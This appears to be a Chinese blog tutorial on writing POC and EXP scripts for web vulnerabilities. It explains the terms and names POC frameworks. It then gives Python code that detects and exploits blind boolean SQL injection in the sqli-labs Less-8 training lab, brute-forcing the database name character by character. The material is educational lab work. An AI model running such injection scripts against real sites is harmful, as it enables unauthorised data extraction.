如何编写POC/EXP

这篇具有很好参考价值的文章主要介绍了如何编写POC/EXP。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


前言

初学安全时,很多概念理解不透彻,被POC/EXP的概念困扰了许久。最近看到许多招聘上都需要熟练编写POC/编写特殊场景的工具脚本等要求,下决心要理解并学会如何写POC。(这里是Web应用类漏洞的POC)
看了点教程和了几篇文章,总结一下。


一、漏洞验证方式

要判断一个漏洞是否存在,必须要有一些信息凭据。我们可以通过在目标系统执行一段代码(payload),根据目标系统的响应情况来作出判断。

  1. 执行payload,有回显。→ 发送数据包,看返回特征
  2. 执行payload,无回显
    • 对接dns.log,ping dns.log 进行判断
    • 反弹shell

二、POC是什么?

POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。

EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。

Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。

Shellcode:简单翻译 ’ shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名

上面的引用源于CSDN的一篇文章,这种解释百度以下几乎都是一样,现在看来感觉“就是这样啊”,初学的时候由于知识面不够广,越想越多,很容易钻牛角尖。
假如现在有一个GET型SQL注入漏洞,你的第一反应就是在URL的参数加个单引号,并不断的尝试,判断是何种注入类型,然后按部就班地进行暴库、爆表等一些列操作。或者通过BurpSuite抓包改包,利用Intruder模块进行自动化爆破等。
POC就是根据漏洞原理,将人工渗透测试的过程通过编程语言封装成一个工具代码,从而自动化检测漏洞。举个例子,你正在打sqli-labs的第8关,可能就是在浏览器里利用hackbar不断的修改参数,或者使用burpsuite抓包改包。现在我们要通过编写程序,来实现手工的一系列过程。验证这个漏洞确实存在,这个程序或者这段代码就叫POC,如果这段代码利用了这个漏洞进行了一些操作(通常是有害的),那么就叫EXP
比较典型的是RCE(远程命令/代码执行)漏洞,通常POC都是会执行一个计算器程序命令,以证明漏洞存在;如果是EXP,那么可能就是会执行一些敏感动作,以获得更多信息等

三、POC框架

PoC 框架就是一个批量管理,调度 PoC 的程序。因为是框架,要批量调度,那就要求 PoC 在编写的时候要遵守一些规范,这些规范常见的有:
入口规范
考虑到批量使用 PoC 的调度情况,统一入口框架调用该 PoC 的时候会非常之方便。这个就需要根据具体的框架的调度要求来看了,都有文档的,看一下就会了。
API规范
API 是该框架对一些基础类库的封装,比如说框架提供了一些网络请求工具。这些封装有什么好处呢?我还是举例子来说明,比如某次扫描,调用了 1000 个 PoC 去扫描目标主机了,假设这个扫描任务中有一部分是需要登录的,而有一些的作者在编写的时候忘记在 PoC 中接收用户自定义的 Cookie 了,那么此时就会因为接收不到 Cookie 而导致请求不成功。那么在使用了框架的情况下,即使在忘记了添加这些字段的情况下,框架也会自动将 Cookie 添加进请求中,为 PoC 开发者提供了极大的便利。

链接:https://www.jianshu.com/p/5decaf1cde6b
这里有一篇文章写的挺不错,可以帮助理解:自己写一个POC框架
自己写一个poc框架(真):真·自己简单实现poc框架

比较常用的POC框架

  • pocsuite3
  • xray
  • goby
    现在这些工具往往都是一个综合漏洞验证/扫描工具,POC只是一个模块

四、简单的POC/EXP编写

可以看一下者篇文章:https://mp.weixin.qq.com/s/aWbPUANyglL5kWiiFfSRYw

1、POC编写流程

如何编写poc,web漏洞,web安全,python,网络安全

2、以sqli-labs第8关为例-POC

既然要通过代码来实现人工过程,实验漏洞测试的自动化,那么就要编程构造数据包,写payload,验证返回内容。就是我们修改参数、点击发送并通过回显的情形来作出判断的过程。
通过python实现的HTTP协议模块requests,可以很方便的构造HTTP数据包

import requests

# 这个并不是通用型的poc,所以我们可以写成一个很辣鸡的形式
import requests
url = "http://192.168.10.136/sqli-labs/Less-8/"
payload1 = "?id=1' and 1=1 --+"
payload2 = "?id=1' and 1=2 --+"

resp1 = requests.get(url=url+payload1)
if resp1.status == '200':
	resp2 = requests.get(url=url+payload2)
	if resp2.status != '200':
			print("[*] {}vuln found".format(url))

3、以sqli-labs第8关为例-EXP

通过代码,将人工爆库爆表的过程自动化文章来源地址https://www.toymoban.com/news/detail-645767.html

import requests
import string

url = "http://192.168.10.136/sqli-labs/Less-8/"
#获取正常访问时返回的页面长度
normalHtmlLen = len(requests.get(url=url+"?id=1").text)   #
print("页面长度为:"+ str(normalHtmlLen))

#数据库名长度
dbNameLen = 0
#通过这个循环爆库名长度
while True:
    dbNameLen_url = url + "?id=1'+and+length(database())="+str(dbNameLen)+"--+"
    print(dbNameLen_url)
    if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
        print(dbNameLen)
        break
    if dbNameLen == 30:
        print("Error!")
        break
    dbNameLen +=1
#数据库名
dbName = ""
#通过这个循环爆库名
for i in range(1,9):
    for a in string.ascii_lowercase:
        dbName_url = url + "?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+"
        print(dbName_url)
        if len(requests.get(dbName_url).text) == normalHtmlLen:
            dbName += a
            print(dbName)
            break

到了这里,关于如何编写POC/EXP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • Full-Scanner是一个多功能扫描工具,支持被动/主动信息收集,漏洞扫描工具联动,可导入POC和EXP

    Full-Scanner是一个多功能扫描工具,支持被动/主动信息收集,漏洞扫描工具联动,可导入POC和EXP

    github项目地址:https://github.com/Zhao-sai-sai/Full-Scanner gitee项目地址:https://gitee.com/wZass/Full-Scanner 做挖漏洞渗透测试有的时候要去用这个工具那个工具去找感觉麻烦我自己就写了一个简单的整合工具,有互联网大佬不要喷我,我也是废物 Full-Scanner是一个多功能扫描工具,支持被动

    2024年02月06日
    浏览(9)
  • 利用python编写简易POC脚本

    POC: 概念证明,即概念验证(英语:Proof of concept,简称POC)是对某些想法的一个较短而不完整的实现,以证明其可行性,示范其原理,其目的是为了验证一些概念或理论。  声明:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本博客无

    2024年02月21日
    浏览(10)
  • 思福迪Logbase运维安全管理系统test_qrcode_b接口远程命令执行漏洞漏洞复现 [附POC]

    免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章

    2024年01月17日
    浏览(11)
  • 金山终端安全系统V9.0 update_software_info_v2.php处SQL注入漏洞复现 [附POC]

    免责声明:请勿利用文章内的相关

    2024年02月03日
    浏览(8)
  • ChatGPT写POC,拿下漏洞!

    ChatGPT写POC,拿下漏洞!

    ChatGPT(Chat Generative Pre-trained Transformer)是当今备受瞩目的智能AI聊天机器人之一。它不仅能够实现基本的语言交流,还具备许多强大的功能,例如文章撰写、代码脚本编写、翻译等等。那么我们是否可以利用 ChatGpt 去辅助我们完成一些工作呢?比如当一个产品存在安全风险需

    2023年04月22日
    浏览(8)
  • 漏洞检测之POC的学习

    最近刚接触POC,浅浅记录一下吧(持续更新) 根据个人理解以及网上的相关资料整合,POC是一段不完整的、用于检验目标主机是否存在相应漏洞的代码程序,它具备随机性——参数随机(有时候可以不随机)、通用性——要对一样组件的网站都成立,不能是针对个别网站、确定

    2024年02月11日
    浏览(7)
  • 基于Pocsuite3的指纹识别POC编写

    目录 1.前言 2.fingerprintScan 3.fingerprint.json指纹文件 4.使用效果 4.1 指纹识别

    2024年02月11日
    浏览(6)
  • 致远OA文件上传漏洞(含批量检测POC)

    致远OA文件上传漏洞(含批量检测POC)

    文章内容仅供学习参考请勿用于非法用途 漏洞描述 漏洞影响 致远OA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1) 致远OA G6、G6N (V8.1、V8.1SP1) 网络测绘 app=“致远互联-OA” title=“V8.0SP2” 批量检测POC 漏洞描述 致远OA是一套办公协同管理软件。近日,奇安信CERT监测到致远OA的相关漏洞信息。由

    2024年02月08日
    浏览(8)
  • MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC

    MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC

    吸取上次复现漏洞的教训…… MinIO 是一种开源对象存储服务,与 Amazon S3 API 兼容,可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统,可以存储大量数据,并提供高速的数据读写能力。MinIO采用分布式架构,可以在多个节点上运行,实现数据的分布式存储

    2023年04月20日
    浏览(8)
  • 致远OA敏感信息泄露漏洞合集(含批量检测POC)

    致远OA敏感信息泄露漏洞合集(含批量检测POC)

    产品系列: A3、A6、A8 品牌: 用友 对象: 微型、小型企业、企业部门级 漏洞描述 致远OA A8-m 存在状态监控页面信息泄露,攻击者可以从其中获取网站路径和用户名等敏感信息进一步攻击 漏洞影响 致远OA A8-m 网络测绘 title=“A8-m” 漏洞复现 访问监控页面 /seeyon/management/status.jsp 后

    2024年02月02日
    浏览(9)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包